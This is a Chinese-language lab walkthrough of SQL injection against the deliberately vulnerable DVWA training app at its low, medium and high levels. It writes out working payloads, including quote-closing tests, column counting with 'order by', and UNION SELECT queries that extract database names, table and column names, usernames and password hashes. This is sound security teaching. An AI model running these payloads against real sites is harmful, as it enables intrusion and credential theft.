DVWA-----------sql注入

说明

sql注入原理:将恶意的SQL语句拼接到合法的语句中,从而达到执行SQL语句的目的
sql注入类型
整数型
字符型
搜索型

一、low级别

1、先确定正常和不正常的回显。
输入1时,回显是这一种,正常的。
DVWA-----------sql注入
输入10时,回显没有回显,不正常的。
2、判断注入

输入1 and 1=1
DVWA-----------sql注入
输入1 and 1=2
DVWA-----------sql注入
两种都执行的是1,回显出了正常的数据,所以说后面的都被过滤掉了,不是数字型的,采用字符型尝试。
输入:1’ and ‘1’=‘1
回显正常
DVWA-----------sql注入
输入:1’ and ‘1’=‘2
回显错误。
所以说明存在注入点,使用了引号闭合。
3、列字段
1’ order by 3#
回显错误,说明字段数小于3
DVWA-----------sql注入
1’ order by 2#
回显正常,说明字段数等于2
DVWA-----------sql注入
4、判断数据库版本
1’ union select version(),2#
DVWA-----------sql注入
版本信息大于5.0,说明有数据库表,可以曝出数据. information_schema
5、获取数据库名称,用户。
1’ union select database(),user()#
DVWA-----------sql注入
6、爆出dvwa里面的所有表名
1’ union select table_name,2 from information_schema.tables where table_schema=‘dvwa’#
DVWA-----------sql注入
有两张表
7、爆出users表里面的的所有列名
1’ union select column_name,2 from information_schema.columns where table_name=‘users’#
DVWA-----------sql注入
8、爆出user和possword列里面的数据
1’ union select user,password from users#
DVWA-----------sql注入
9、通过md5解密

二、medium级别

采用了选择提交方式,只能通过抓包来进行分析。
1、修改 1 and 1=1
DVWA-----------sql注入
DVWA-----------sql注入
回显结果正常
输入1 and 1=2
DVWA-----------sql注入
DVWA-----------sql注入
回显结果不正常,说明可能存在注入点
2、接下来用上面的语句爆出数据

三、high级别

1、输入1返回正常
输入1 and 1=1正常
输入1 and 1=2正常
说明被过滤掉了,不是数字型的,采用字符型尝试。尝试采用引号闭合
输入1’ and ‘1’=‘1 正常
输入1’ and ‘1’='2不正常,说明可能存在注入点
2、输入其他语句,爆出数据